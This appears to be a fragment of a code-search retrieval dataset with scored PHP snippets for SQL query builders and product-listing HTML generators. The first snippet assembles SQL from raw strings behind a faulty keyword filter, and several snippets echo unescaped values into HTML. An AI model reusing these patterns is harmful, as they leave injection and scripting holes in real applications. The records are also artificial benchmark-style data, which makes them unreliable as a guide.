{\n\n\t\t$db = new ConexionBd(); \n\n\t\t$pos = strpos($strSelect, \"select\");if ($pos == true) {return false;}\n\t\t$pos = strpos($strSelect, \"from\");if ($pos == true) {return false;}\n\t\t$pos = strpos($strWhere, \"select\");if ($pos == true) {return false;}\n\t\t$pos = strpos($strWhere, \"from\");if ($pos == true) {return false;}\n\t\t//$pos = strpos($strSelect, \"update\");if ($pos == true) {return false;}\n\t\t//$pos = strpos($strWhere, \"update\");if ($pos == true) {return false;}\n\n\t\t$db->open();\n\n\t\t$consulta = isset($strSelect) ? \"SELECT $strSelect\" : \"\";\n\n\t\t$consulta .= isset($strFrom) ? \" FROM $strFrom\" : \"\";\n\n\t\t$consulta .= (isset($strWhere) and (strcmp($strWhere,\"\") != 0)) ? \" WHERE $strWhere\" : \"\";\n\n\t\t$consulta .= isset($strGroupBy) ? \" GROUP BY $strGroupBy\" : \"\";\n\n\t\t$consulta .= isset($strOrderBy) ? \" ORDER BY $strOrderBy\" : \"\";\n\n\t\t$consulta .= \";\";\t\n\n \n\n\t\t$resultado = $db->consulta($consulta);\t\n\t\t$row =array();\n\n\n\n\t\twhile ($rowq = mysqli_fetch_assoc($resultado)) {\n\n\t $row[] = $rowq;\t\n\n\t }\n\n\n\n\t\treturn $row;\n\n\t}", "title": "" }, { "docid": "4daeb92183679dab5e47c62dce27418f", "score": "0.54742944", "text": "function &Select($sSQL){\n\t\t$oRes = null;\n\n\t\t$rRes = $this->_Execute($sSQL);\t\t\n\t\t// OK \n\t\tif($rRes && 'resource' == gettype($rRes) && $this->IsSelectResult($rRes)){\n\t\t\t$iRows = 0;//... set in subclass \n\t\t\t$oRes =& $this->CreateResult($rRes, $sSQL, $iRows, 0,0);\n\t\t\t$this->CollectResult($oRes);\n\t\t}\n\t\t// Error \n\t\telse if($this->iSelectMode == CDBA_SELECT_RETURNS_CRESULT_ON_ERROR){\n\t\t\t$iRows = 0;\n\t\t\t$sError = 1;//... set in subclass \n\t\t\t$iErrno = 1;//... set in subclass \n\t\t\t// !!! Incompatibility with oldre cDBAccess !!!\n\t\t\t// ->> CDBA_SELECT_RETURNS_NULL_ON_ERROR\n\t\t\t$oRes =& $this->CreateResult(null, $sSQL, 0, $sError, $iErrno);\n\t\t}\n\t\treturn $oRes;\n\t}", "title": "" }, { "docid": "b5da3e13acf81ce40dc3b5a878bc2c6a", "score": "0.54725164", "text": "protected function fetchOne($sql, $params = []) {\n $fetch = $this->fetch($sql, $params);\n if (count($fetch) > 0) {\n return $fetch[0];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "91173933267afefa2f95eca4f0ff7834", "score": "0.5472422", "text": "public function fetch()\n\t{\n\t\tif ($this->command === 'SELECT') {\n\t\t\treturn $this->query($this->_export(NULL, array('%lmt', 1)))->fetch();\n\t\t} else {\n\t\t\treturn $this->query($this->_export())->fetch();\n\t\t}\n\t}", "title": "" }, { "docid": "eec177ff0d76e172bdaa85801647a308", "score": "0.54692125", "text": "public function fetch_object($query);", "title": "" }, { "docid": "246c23d15a83764d476928ba0dc959d4", "score": "0.54686975", "text": "public function first_row($type = obj)\n {\n $result = $this->_stmt_result($type);\n\n if (count($result) == 0)\n {\n return $result;\n }\n \n return $result[0];\n }", "title": "" }, { "docid": "f5f6d188da1dc4cd4fbe3e2da7de2ec4", "score": "0.5467186", "text": "function set_sql($sql)\n\t{\n\t\tif ($sql != $this->sql) {\n\t\t $this->sql = $sql;\n\t\t $this->ready = false;\n\n\t\t\t\tif(is_array($sql)) {\n\t\t\t\t\tforeach(explode(' ', 'select from where group order') as $section) {\n\t\t\t\t\t\t$this->$section = @$sql[$section];\n\t\t\t\t\t}\n\t\t\t\t\t$this->select = \"SELECT \".$this->select;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t// parse the query\n\t\t\t\t\t\t$parts = preg_split('/\\sORDER\\s*BY\\s/si', $sql, 2);\n\t\t\t\t\tif(count($parts) == 2) {\n\t\t\t\t\t\t$sql = $parts[0];\n\t\t\t\t\t\t$this->order = $parts[1];\n\t\t\t\t\t}\n\t\t\t\t\t\t$parts = preg_split('/\\sGROUP\\s*BY\\s/si', $sql, 2);\n\t\t\t\t\tif(count($parts) == 2) {\n\t\t\t\t\t\t$sql = $parts[0];\n\t\t\t\t\t\t$this->group = $parts[1];\n\t\t\t\t\t}\n\t\t\t\t\t\t$parts = preg_split('/\\sWHERE\\s/si', $sql, 2);\n\t\t\t\t\tif(count($parts) == 2) {\n\t\t\t\t\t\t$sql = $parts[0];\n\t\t\t\t\t\t$this->where = $parts[1];\n\t\t\t\t\t}\n\t\t\t\t\t\t$parts = preg_split('/\\sFROM\\s/si', $sql, 2);\n\t\t\t\t\tif(count($parts) == 2) {\n\t\t\t\t\t\t$sql = $parts[0];\n\t\t\t\t\t\t$this->from = $parts[1];\n\t\t\t\t\t}\n\t\t\t\t\t$this->select = $sql;\n\t\t\t}\n\t\t}\n\t}", "title": "" } ]
8e809806b97b7f9eb1480586b8d742d1
Generate HTML for one item in products list
[ { "docid": "44c80d7318f98f6c1931b7704d176dc8", "score": "0.5882056", "text": "function generate_product_item($data, $sort = false) {\n $id = protect_output($data[\"_id\"]);\n $name = protect_output($data[\"name\"]);\n $brand = protect_output($data[\"brand\"]);\n $photo = protect_output($data[\"photos\"][0]);\n $price = protect_output($data[\"price\"]);\n //set_script(\"cart.js\");\n\n if ($sort) {\n $identificator = \" id='product-$id'\";\n } else {\n $identificator = \"\";\n }\n echo <<<END\n\n <div class=\"col-md-3 product-item\" $identificator data-product-id=\"$id\">\n <article class=\"article-intro\">\n <a href=\"product.php?id=$id\" class=\"product-item-cover\">\n <img class=\"img-responsive img-rounded\" src=\"images/product-images/$photo\" alt=\"$name\">\n </a>\n <h3>\n\t\t\t\t\t<a href=\"product.php?id=$id\">$brand</a>\n </h3>\n <p>$name</p>\n\t\t\t\t\t<p>£$price</p>\n\t\t\t\t\t<form onsubmit=\"return add_into_cart(event, this);\">\n\t\t\t\t\t <input type=\"hidden\" name=\"product-quantity\" value=\"1\">\n\t\t\t\t\t <input type=\"hidden\" name=\"product-id\" value=\"$id\">\t\t\t\t\t\n <input name=\"Add\" value=\"Add to Cart\" type=\"submit\" class=\"btn btn-default\">\n <div class='label label-success'>Added into Cart</div>\n </form>\n </article>\n </div>\n\nEND;\n\n}", "title": "" } ]
[ { "docid": "5130b1e4c0362f2af7f52a2e4c153757", "score": "0.7464112", "text": "public function getHTML() {\n\t\t$productArray = $this->getProductArray();\n\n\t\t$ret = \"<ul>\n\t\t\t\t\t<li class='list-header'>\n\t\t\t\t\t\t<span class='product-id'>ID</span>\n\t\t\t\t\t\t<span class='title'>Title</span>\n\t\t\t\t\t\t<span class='price'>Price</span>\n\t\t\t\t\t\t<span class='create-date'>Created Date</span>\n\t\t\t\t\t\t<span class='update-date'>Last Updated</span>\n\t\t\t\t\t</li>\";\n\n\t\tif($productArray !== null) {\n\t\t\tforeach ($productArray as $product) {\n\t\t\t\t\t\t\t\n\t\t\t\t$title = $product->getTitle();\n\t\t\t\t$filename = $product->getFilename();\n\t\t\t\t$desc = $product->getDesc();\n\t\t\t\t$price = $product->getPrice();\n\t\t\t\t$unique = $product->getUnique();\n\t\t\t\t$productID = $product->getProductID();\n\t\t\t\t$createDatetime = date(\"Y/m/d H:i\", strtotime($product->getCreateDatetime()));\n\t\t\t\t$updateDatetime = \"-\";\n\t\t\t\t$viewURL = $this->nv->getProductViewURL($unique);\n\t\t\t\t$deleteURL = $this->nv->getProductDeleteURL($productID);\n\t\t\t\t$updateURL = $this->nv->getProductUpdateURL($productID);\n\n\t\t\t\tif($product->getUpdateDatetime() !== null) {\n\t\t\t\t\t$updateDatetime = date(\"Y/m/d H:i\", strtotime($product->getUpdateDatetime()));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$ret .= \"<li class='list-product'>\n\t\t\t\t\t\t\t<span class='thumb-col'><img src='\".self::$thumbPath.$filename.\"' class='thumb-img'></span>\n\t\t\t\t\t\t\t<span class='product-id'>$productID</span>\n\t\t\t\t\t\t\t<span class='title'><a href='$viewURL'>$title</a></span> \n\t\t\t\t\t\t\t<span class='price'>$price</span>\n\t\t\t\t\t\t\t<span class='create-date'>$createDatetime</span>\n\t\t\t\t\t\t\t<span class='update-date'>$updateDatetime</span>\n\t\t\t\t\t\t\t<span class='edit-list-action'><a href='$updateURL'>Edit</a></span>\n\t\t\t\t\t\t\t<span class='delete-list-action'><a href='$deleteURL'>Delete</a></span>\n\t\t\t\t\t\t</li>\".$this->getDeleteConfirmation($productID).\"\".$this->getUpdateForm($product).\"\";\n\t\t\t}\n\t\t}\n\n\t\t$ret .= \"</ul>\";\n\n\t\treturn \"<span class='header-message'><h3>Product List</h3><p id='\".self::$messageID.\"'>\".$this->message.\"</p></span>$ret\";\n\t}", "title": "" }, { "docid": "40ac215ccb3862dedac1fc024a198576", "score": "0.7096581", "text": "function productListTemplate($r, $o) {\n return $r.<<<HTML\n <a class=\"col-xs-12 col-md-4\" href=\"product.php?id=$o->product_id\">\n <figure class=\"figure product\">\n <img src=\"/WNM608/img/plant_$o->product_id.jpg\" alt=\"\">\n <figcaption>\n <div>$o->name</div>\n <div>&dollar;$o->price</div>\n </figcaption>\n </figure>\n </a>\n HTML;\n}", "title": "" }, { "docid": "e53493bbf89d2b5ee779748632b29500", "score": "0.6970129", "text": "public function getProductListHtml()\n {\n $html = parent::getProductListHtml();\n $html = Mage::helper('multilayer')->wrapProducts($html);\n return $html;\n }", "title": "" }, { "docid": "e2722fc5fb2f49edc63154b2ea574163", "score": "0.68322474", "text": "public function showProducts($listProducts, $htmlInsert = 0)\n {\n $htmlFeatureProduct = '';\n if ($htmlInsert == 0) {\n foreach ($listProducts as $feature) {\n $htmlFeatureProduct .= '<div class=\"item product-inner\">';\n $htmlFeatureProduct .= '<div class=\"item-inner transition\">';\n $htmlFeatureProduct .= '<div class=\"image\">';\n $htmlFeatureProduct .= '<a class=\"lt-image\" data-name=\"san-pham\" data-title=\"' . $feature->title . '\" alt=\"' . $feature->title . '\" href=\"' . route('postProduct', $feature->alias) . '\">';\n $htmlFeatureProduct .= '<img src=\"' . asset('upload/thumbnail/' . $feature->images) . '\" class=\"img-1 product-featured-image\" alt=\"\">';\n $htmlFeatureProduct .= '<img src=\"' . asset('upload/thumbnail/' . $feature->images) . '\" class=\"img-2 product-featured-image\" alt=\"\"></a>';\n $htmlFeatureProduct .= '<div class=\"button-group\">';\n $htmlFeatureProduct .= '<div class=\"button-group\">';\n $htmlFeatureProduct .= '</div>';\n $htmlFeatureProduct .= '</div>';\n $htmlFeatureProduct .= '</div>';\n $htmlFeatureProduct .= '';\n $htmlFeatureProduct .= '<div class=\"caption captionCustom\">';\n $htmlFeatureProduct .= '<h4 style=\"padding: 5px\">';\n $htmlFeatureProduct .= '<a data-title=\"' . $feature->title . '\" alt=\"' . $feature->title . '\" href=\"' . route('postProduct', $feature->alias) . '\" class=\"category-product\" style=\"margin:5px\">' . $feature->title . '</a>';\n $htmlFeatureProduct .= '</h4>';\n $htmlFeatureProduct .= '<span class=\"price_custom\" style=\"margin-top: 19px; padding-bottom: 3px;\">';\n $htmlFeatureProduct .= ($feature->prices == 0) ? 'Liên hệ' : number_format($feature->prices) . ' VNĐ';\n $htmlFeatureProduct .= '</span>';\n $htmlFeatureProduct .= '</div>';\n $htmlFeatureProduct .= '</div>';\n $htmlFeatureProduct .= '</div>';\n }\n } else {\n foreach ($listProducts as $feature) {\n $htmlFeatureProduct .= '<div class=\"col-xs-12 col-sm-4 col-md-3\">';\n $htmlFeatureProduct .= '<div class=\"item product-inner\">';\n $htmlFeatureProduct .= '<div class=\"item-inner transition\">';\n $htmlFeatureProduct .= '<div class=\"image changImg\">';\n $htmlFeatureProduct .= '<a class=\"lt-image\" data-name=\"san-pham\" data-title=\"' . $feature->title . '\" alt=\"' . $feature->title . '\" href=\"' . route('postProduct', $feature->alias) . '\">';\n $htmlFeatureProduct .= '<img src=\"' . asset('upload/thumbnail/' . $feature->images) . '\" class=\"img-1 product-featured-image\" alt=\"\">';\n $htmlFeatureProduct .= '<img src=\"' . asset('upload/thumbnail/' . $feature->images) . '\" class=\"img-2 product-featured-image\" alt=\"\"></a>';\n $htmlFeatureProduct .= '<div class=\"button-group\">';\n $htmlFeatureProduct .= '<div class=\"button-group\">';\n $htmlFeatureProduct .= '</div>';\n $htmlFeatureProduct .= '</div>';\n $htmlFeatureProduct .= '</div>';\n $htmlFeatureProduct .= '';\n $htmlFeatureProduct .= '<div class=\"caption captionCustom\">';\n $htmlFeatureProduct .= '<h4 style=\"padding: 5px\">';\n $htmlFeatureProduct .= '<a data-title=\"' . $feature->title . '\" alt=\"' . $feature->title . '\" href=\"' . route('postProduct', $feature->alias) . '\" class=\"category-product\" style=\"margin:5px\">' . $feature->title . '</a>';\n $htmlFeatureProduct .= '</h4>';\n $htmlFeatureProduct .= '<span class=\"price_custom\" style=\"margin-top: 19px; padding-bottom: 3px;\">';\n $htmlFeatureProduct .= ($feature->prices == 0) ? 'Liên hệ' : number_format($feature->prices) . ' VNĐ';\n $htmlFeatureProduct .= '</span>';\n $htmlFeatureProduct .= '</div>';\n $htmlFeatureProduct .= '</div>';\n $htmlFeatureProduct .= '</div>';\n $htmlFeatureProduct .= '</div>';\n }\n }\n return $htmlFeatureProduct;\n }", "title": "" }, { "docid": "8c4904adb8f5527b6d0b673386829458", "score": "0.6748809", "text": "public function create_display_menu_item()\n\t{\n\t// get products\n\t\t$items= $this->get_menu_items_ids();\n\t\t$data = '';\n\t\t//var_dump($products);die;\n\t// loop through each product\n\t\t//var_dump($items);die;\n\t\tif ( ! empty($items))\n\t\t{\n\n\t\t\tforeach ($items as $menu)\n\t\t\t{\n\t\t\t\t//var_dump($menu['url']);//die;\n\n\t\t\t\t$data .='\n <div class=\"col-md-6 \">\n <div class=\"recent-post thumbnail\">\n <div style=\"background-color:#610B0B;\" class=\"media \">\n <a class=\"pull-left media-link\" href=\"../'.$menu['url'].'\">\n <img style=\"width:200px; height:200px;\" class=\"media-object\" src=\"../App-resourcess/assets/img/preview/shop/'.$menu['image'].'\" alt=\"\">\n <i class=\"fa fa-plus\"></i>\n </a>\n <div class=\"media-body\">\n <p class=\"media-category\" style=\"text-transform: capitalize;\"><a href=\"../'.$menu['url'].'\">'.$menu['name'].'</a> / <a href=\"../'.$menu['url'].'/\">'.$menu['name'].'</a></p>\n \n </div>\n </div>\n </div>\n </div>';\n}\n}\nreturn $data;\n}", "title": "" }, { "docid": "251324b1bae99ccf2f93e28fa6c2f0e5", "score": "0.67424875", "text": "function wholesale_text_html(&$product, &$unique)\n { return\n '<br><br><center style=\"color:#f00;letter-spacing:5px;\">** FEATURED WHOLESALE ITEM **</center>';\n }", "title": "" }, { "docid": "9059546162148765a8e6634a09e7490d", "score": "0.6636725", "text": "function product_display($content_to_display)\n {\n \t// This is the pattern: }}product:sample1}}\n \t$productPattern = \"*}{2}(product:[A-Za-z0-9_ \\-]+)}{2}*\";\n \t$productIds = getFilterIds($content_to_display, $productPattern);\n \t$products = Array();\n \t\n \tforeach($productIds as $productName)\n \t{\n \t\t$sploded = explode(\":\", $productName);\n \t\t$products[] = Product::FindByName($sploded[1]);\n \t}\n \t\t\n \tforeach($products as $product)\n \t{\n \t\tif(is_object($product))\n \t\t{\n \t\t\t$account = Paypal_Config::GetAccount();\n \t\t\t//print_r($product);\n \t\t\t\n \t\t\t// TO DO: Move the render function into the model, like videos and testimonials\n \t\t\t$replacement = \"\n \t\t\t\t<div id =\\\"product_{$product->id}\\\" class=\\\"product\\\">\n \t\t\t\t\t<h3>$product->display_name</h3>\n \t\t\t\t\t<table cellspacing=\\\"0\\\" cellpadding=\\\"0\\\">\n \t\t\t\t\t\t<tbody>\n \t\t\t\t\t\t\t<tr>\n \t\t\t\t\t\t\t\t<td valign=\\\"top\\\">\\n\"; \n \t\t\tif ($product->thumbnail) \n \t\t\t\t{ \n \t\t\t\t\t$replacement .= \"\\t\\t\\t\\t\\t\\t\\t\\t\\t<div id=\\\"prodGal_\".$product->id.\"\\\">\n \t\t\t\t\t\t\t\t\t\t<a class=\\\"product_thumb\\\" href=\\\"\".get_link(\"/images/prodimg/\".$product->id).\"\\\"><img src=\\\"\".get_link(\"/images/prodimg/\".$product->id).\"\\\" title=\\\"{$product->display_name}\\\" /></a>\n \t\t\t\t\t\t\t\t\t</div>\n \t\t\t\t\t\t\t\t\t\n \t\t\t\t\t\t\t\t\t<script type= \\\"text/javascript\\\">//<![CDATA[\n \t\t\t\t\t\t\t\t\t$(function() { $('#prodGal_\".$product->id.\" a').hcdlightBox(); });\n \t\t\t\t\t\t\t\t\t//]]></script>\\n\"; \n \t\t\t}\n \t\t\t$replacement .= \"\n \t\t\t\t\t\t\t\t\t<form action=\\\"https://www.paypal.com/cgi-bin/webscr\\\" target=\\\"_blank\\\" method=\\\"post\\\">\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"cmd\\\" value=\\\"_xclick\\\">\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"business\\\" value=\\\"\".$account->email.\"\\\">\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"undefined_quantity\\\" value=\\\"1\\\">\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"item_name\\\" value=\\\"\".$product->display_name.\"\\\">\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"item_number\\\" value=\\\"\".$product->name.\"\\\">\\n\"; \n \t\t\tif ($product->price > 0) { $replacement .= \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<input type=\\\"hidden\\\" name=\\\"amount\\\" value=\\\"\".$product->price.\"\\\">\\n\"; }\n \t\t\t$replacement .= \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<input type=\\\"hidden\\\" name=\\\"no_shipping\\\" value=\\\"2\\\">\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"return\\\" value=\\\"\".$account->return.\"\\\">\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"cancel_return\\\" value=\\\"\".$account->cancel_return.\"\\\">\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"no_note\\\" value=\\\"0\\\">\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"currency_code\\\" value=\\\"USD\\\">\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"lc\\\" value=\\\"US\\\">\"; \n \t\t\tif ($product->price > 0) { $replacement .= \"$\".$product->price.\" <br />\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<font>(plus shipping if applicable)</font><br />\"; }\t\t\t\t\t\t\t\t\t\t\t\n \t\t\tif ($product->price == 0 || $product->price == 0.00) \n \t\t\t{\n \t\t\t\t$replacement .= \"\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"image\\\" src=\\\"https://www.paypal.com/en_US/i/btn/btn_donateCC_LG.gif\\\" border=\\\"0\\\" name=\\\"submit\\\" alt=\\\"Make payments with PayPal - it's fast, free and secure!\\\">\"; \n \t\t\t} else {\n \t\t\t\t\t\t\t\t\t\t\n \t\t\t\t$replacement .= \"\n \t\t\t\t\t\t\t\t\t\t<input type=\\\"image\\\" src=\\\"https://www.paypal.com/en_US/i/btn/x-click-but23.gif\\\" border=\\\"0\\\" name=\\\"submit\\\" alt=\\\"Make payments with PayPal - it's fast, free and secure!\\\">\";\n \t\t\t}\n \t\t\t$replacement .= \"\n \t\t\t\t\t\t\t\t\t</form>\n \t\t\t\t\t\t\t\t</td>\n \t\t\t\t\t\t\t\t<td valign=\\\"top\\\">\n \t\t\t\t\t\t\t\t\t\".$product->description.\"\n \t\t\t\t\t\t\t\t</td>\n \t\t\t\t\t\t\t</tr>\n \t\t\t\t\t\t</tbody>\n \t\t\t\t\t</table>\n \t\t\t\t</div>\n \t\t\t\";\n \t\t\t$search = \"}}product:\".$product->name.\"}}\";\n \t\t\t$content_to_display = str_replace($search, $replacement, $content_to_display);\n \t\t} else {\n \t\t\t$content_to_display = \"<span class=\\\"database_error\\\">HCd&gt;CMS Warning: Product not found!</span> \".$content_to_display; \n \t\t}\n \t}\n \treturn($content_to_display);\n }", "title": "" }, { "docid": "1017f561b5cd2d378498a2671fc01922", "score": "0.66020083", "text": "function viewItem() {\n\t\tglobal $page;\n\t\tglobal $HTML;\n\n\t\t$item = $page->getObject(\"Item\");\n\t\t$item = $this->getItem($item);\n\n\t\t$id = $item->item[\"id\"][0];\n\t\t\n\t\t$_ = \"\";\n\t\t$_ .= $HTML->inputHidden(\"id\", $id);\n\t\t$_ .= $HTML->inputHidden(\"page_status\", \"edit\");\n\n\t\t$_ .= $HTML->editImg($this->varnames[\"image\"], \"page,file\", \"image\", $id, $item->item[\"name\"][0], \"/images/\".$id.\"/490x.jpg\", $this->translate(\"Click to edit\"));\n\t\t$_ .= $HTML->editInput($this->varnames[\"name\"], \"update\", \"name\", $id, $item->item[\"name\"][0], $this->translate(\"Click to edit\"));\n\n\t\t$_ .= $HTML->separator();\n\n\t\t$_ .= '<div class=\"c\">';\n\n\t\t$_ .= $HTML->head(\"Items\", \"2\");\n\n\t\tif($item->item[\"items\"][0]) {\n\t\t\tforeach($item->item[\"items\"][0][\"value_pct\"] as $key => $value) {\n\t\t\t\t\n\t\t\t\t$it = new Item();\n\t\t\t\t$it->getItem($item->item[\"items\"][0][\"item_id\"][$key]);\n\t\t\t\t$item_name = $it->getTypeObject()->getSelectValue($it);\n\t\t\t\t\n\t\t\t\t$_ .= $HTML->p(\"$item_name: $value%\");\n\t\t\t\t//$key -> $value -> \".$item->item[\"items\"][0][\"item_id\"][$key].\" -> $item_name <br>\";\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t$_ .= $HTML->p(\"No items in this bundle\");\n\t\t}\n\n\t\t$_ .= '</div>';\n\n\t\t$_ .= $HTML->smartButton($this->translate(\"Edit\"), \"edit\", \"edit\", \"fright key:e\");\n\n\t\t$_ .= $HTML->separator();\n\n\t\treturn $_;\n\t}", "title": "" }, { "docid": "ef38a34727c5f799b3129d5e33279081", "score": "0.6588715", "text": "function generate_recomendation($data) {\n echo \"<section class=\\\"row\\\">\n <h3 class=\\\"text-center\\\">Recommended for you</h3>\";\n foreach ($data as $item) {\n generate_product_item($item);\n }\n\n echo \"</section>\";\n}", "title": "" }, { "docid": "27ad891c0a86f9fe8096b12a96504bd9", "score": "0.65591407", "text": "public function printProducts(){\n echo \"<h2>\" . $this -> name . \"</h2>\";\n echo \"<h5>\" . $this -> adress . \"</h5><ul>\";\n foreach ( $this -> products as $value) {\n echo \"<li>\" . $value -> name . \" weight : \" . $value -> weight . \" price : \" . $value -> price . \"</li>\";\n }\n echo \"</ul>\";\n }", "title": "" }, { "docid": "860329812b6a8eef98b3708698b24b47", "score": "0.65505594", "text": "function createHtml( $data ) {\n\t?>\n\t\t<h2><?php $this->_brand( $data['brandname'] )?> > <?php $this->_category( $data['productFile'] ) ?></h2>\n\t\t<div id=\"product-by-cat-content\">\n\t\t\t<?php $this->displayItems( $data['list'] )?>\n\t\t</div>\n\n\t<?php\n\t}", "title": "" }, { "docid": "d513ba106655a38cea7aa01915643512", "score": "0.6532325", "text": "public function getProductListHtml()\n {\n if($this->isApiFallback())\n {\n return $this->getChildHtml('product_list');\n }\n\n /** @var ApiResponseBlockInterface $apiBlock */\n $apiBlock = $this->getDefaultResponseBlock();\n $apiBlock->setRtuxGroupBy($this->getRtuxGroupBy())\n ->setRtuxVariantUuid($this->getRtuxVariantUuid())\n ->setApiResponsePage($this->apiLoader->getApiResponsePage());\n\n return $apiBlock->toHtml();\n }", "title": "" }, { "docid": "d43e9a4dab6b126cbf0dab245838a486", "score": "0.6517591", "text": "function createItemHTML($category, $queryresult) {\r\n\t\tif($queryresult==null) {\r\n\t\t echo \"Unable to load menu items\";\r\n\t\t exit;\r\n\t\t}\r\n\t\t\r\n\t\t/* These variables are used to keep the HTML creation code manageable */\r\n\t\t$htmlPart1 = '<div class=\"col col-sm-4\"><img class=\"img-responsive foodImgs\" src=\"../imgs/';\r\n\t\t$htmlPart2 = '\" alt=\"';\t\r\n\t\t$htmlPart3 = '\" title=\"';\r\n\t\t$htmlPart4 = '\"><br /><h2>';\r\n\t\t$htmlPart5 = '</h2><p>';\t\r\n\t\t$htmlPart6 = '</p><p>Price: &pound;';\t\r\n\t\t$htmlPart7 = '<br />Quantity: <a id=\"'\t;\r\n\t\t$htmlPart8 = 'numberOfItems\">0</a></p><button type=\"button\" class=\"btn btn-info btn-add\" value=\"';\r\n\t\t$htmlPart9 = '\" onClick=\"onClickAdd(this)\">Add to basket</button><button type=\"button\" class=\"btn btn-info btn-subtract\" value=\"';\r\n\t\t$htmlPart10 = '\" onClick=\"onClickSubtract(this)\">&mdash;</button><button type=\"button\" class=\"btn btn-info btn-remove\" value=\"';\r\n\t\t$htmlPart11 = '\" onClick=\"onClickRemove(this)\">X</button><br />';\r\n\t\t$htmlPart12 = '<input type=\"hidden\" id=\"';\r\n\t\t$htmlPart13 = 'hidden\" name=\"';\r\n\t\t$htmlPart14 = 'hidden\" value=\"0\"></div>';\t\r\n\r\n\t\t/* Add the items from the query results to the page */\r\n\t\t$count = 1;\r\n\t\tforeach($queryresult as $row) {\r\n\t\t if($row['category']==$category) {\r\n\t\t\t echo $htmlPart1 . $row['imageFileName'] . $htmlPart2 . $row['itemName'];\r\n\t\t\t echo $htmlPart3 . $row['itemName'] . $htmlPart4 . $row['itemName'];\r\n\t\t\t echo $htmlPart5 . $row['description'] . $htmlPart6 . $row['price'];\r\n\t\t\t echo $htmlPart7 . $row['itemID'] . $htmlPart8 . $row['itemID'];\r\n\t\t\t echo $htmlPart9 . $row['itemID'] . $htmlPart10 . $row['itemID'] . $htmlPart11;\r\n\t\t\t echo $htmlPart12 . $row['itemID'] . $htmlPart13 . $row['itemID'] . $htmlPart14;\r\n\t\t\t\r\n\t\t\t /* Add a 'newline' after every 3 items */\r\n\t\t\t if($count%3==0) {\r\n\t\t\t\t echo '<div id=\"food\" class=\"col col-sm-12\"><br /><br /></div>';\r\n\t\t\t }\r\n\t\t\t\r\n\t\t\t $count++;\r\n\t\t }\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "d47e4eae6fe75f2cd4298f452f872525", "score": "0.65133804", "text": "public function getProductListHtml()\n {\n return $this->getChildHtml('product_list');\n }", "title": "" }, { "docid": "9327ffb37daf7b79c26380e9298c83ea", "score": "0.64860326", "text": "function showProduct($item)\r\n{\r\n $id = $item->id;\r\n $name = $item->name;\r\n $resource = SqlList::getNameFromId('Affectable',$item->idResource);\r\n $deliveryDate = ($item->plannedDeliveryDate ? $item->plannedDeliveryDate :'');\r\n $startDate = ($item->realStartDate ? $item->realStartDate : '');\r\n $endDate = ($item->plannedEndDate ? $item->plannedEndDate : '');\r\n\r\n echo '<tr><td class=\"linkData\" style=\"white-space:nowrap;width:15%\"><table><tr>';\r\n echo '<td style=\"vertical-align:top\">&nbsp;' . '#' . $id . '</td></tr></table>';\r\n echo '</td>';\r\n echo '<td class=\"linkData\">' . $name . '</td>';\r\n echo '<td class=\"linkData\">' . $resource . '</td>';\r\n echo '<td class=\"linkData\">' . $startDate . '</td>';\r\n echo '<td class=\"linkData\">' . $deliveryDate . '</td>';\r\n echo '<td class=\"linkData\">' . $endDate . '</td>';\r\n}", "title": "" }, { "docid": "29a64be95a2c050c2130530d74a50d82", "score": "0.6478388", "text": "function showProducts(){\n include 'templates/header.php';\n include 'templates/form_alta.php';\n\n $products= getProducts();\n\n echo \"<ul class='list-group mt-5'>\";\n foreach($products as $product){\n echo\"<li class='list-group-item'>\n $product->product | $product->descripcion | $product->price | $product->stock\n <a class='btn btn-danger btn-sm' href='borrar/$product->id' > BORRAR </a>\n </li>\";\n\n }\n echo \"</ul>\";\n \n include 'templates/footer.php';\n}", "title": "" }, { "docid": "b187360f37635179a95954b16beabb89", "score": "0.6453764", "text": "function get_products_in_shop_page() {\n\t\t$query = query(\"SELECT * FROM products\"); //\t\tquery is a helper function defined above\n\t\tconfirm($query);\n\t\twhile($row = fetch_array($query)) { //fetch array is a helper function defined above\n\n\t\t//Image functionality\n\t\t$product_image = display_image($row['product_image']);\n\n\t\t$product = <<<DELIMETER\n\t\t<div class=\"col-md-3 col-sm-6 hero-feature\">\n <div class=\"thumbnail\">\n <img height=\"250\" src=\"../resources/{$product_image}\" alt=\"Product Image\">\n <div class=\"caption\">\n <h3>{$row['product_title']}</h3>\n <p>Lorem Ipsum</p>\n \t<p class=\"block1\">\n <a href=\"../resources/cart.php?add={$row['product_id']}\" class=\"btn btn-primary\">Buy Now!</a> <a href=\"../resources/cart.php?add={$row['product_id']}\" class=\"btn btn-default\">More Info</a>\n </p><br><br> \n </div>\n </div>\n </div>\n\nDELIMETER;\n\n echo $product;\n\n\t\t}\n\t}", "title": "" }, { "docid": "6fd69eba34eccfafdf3be48095176c9b", "score": "0.6437567", "text": "protected function productsContent(){\r\n if (isset($this->model->exception)){\r\n $this->htmlElement('p', $this->model->exception, 'lead text-danger text-center');\r\n }\r\n else {\r\n $this->startProducts();\r\n $this->middleProducts();\r\n $this->endProducts();\r\n }\r\n \r\n }", "title": "" }, { "docid": "74bcb1654aada24831a31f58dae1d808", "score": "0.64193827", "text": "public function render()\n {\n $promotion = new TPromotion;\n $items = new TPromotionItem;\n \n $data = [\n 'promotions' => $promotion->get(),\n 'items' => $items->join(\"t_promotion\", \"t_promotion.id\", \"=\", \"t_promotion_item.id_promotion\")\n 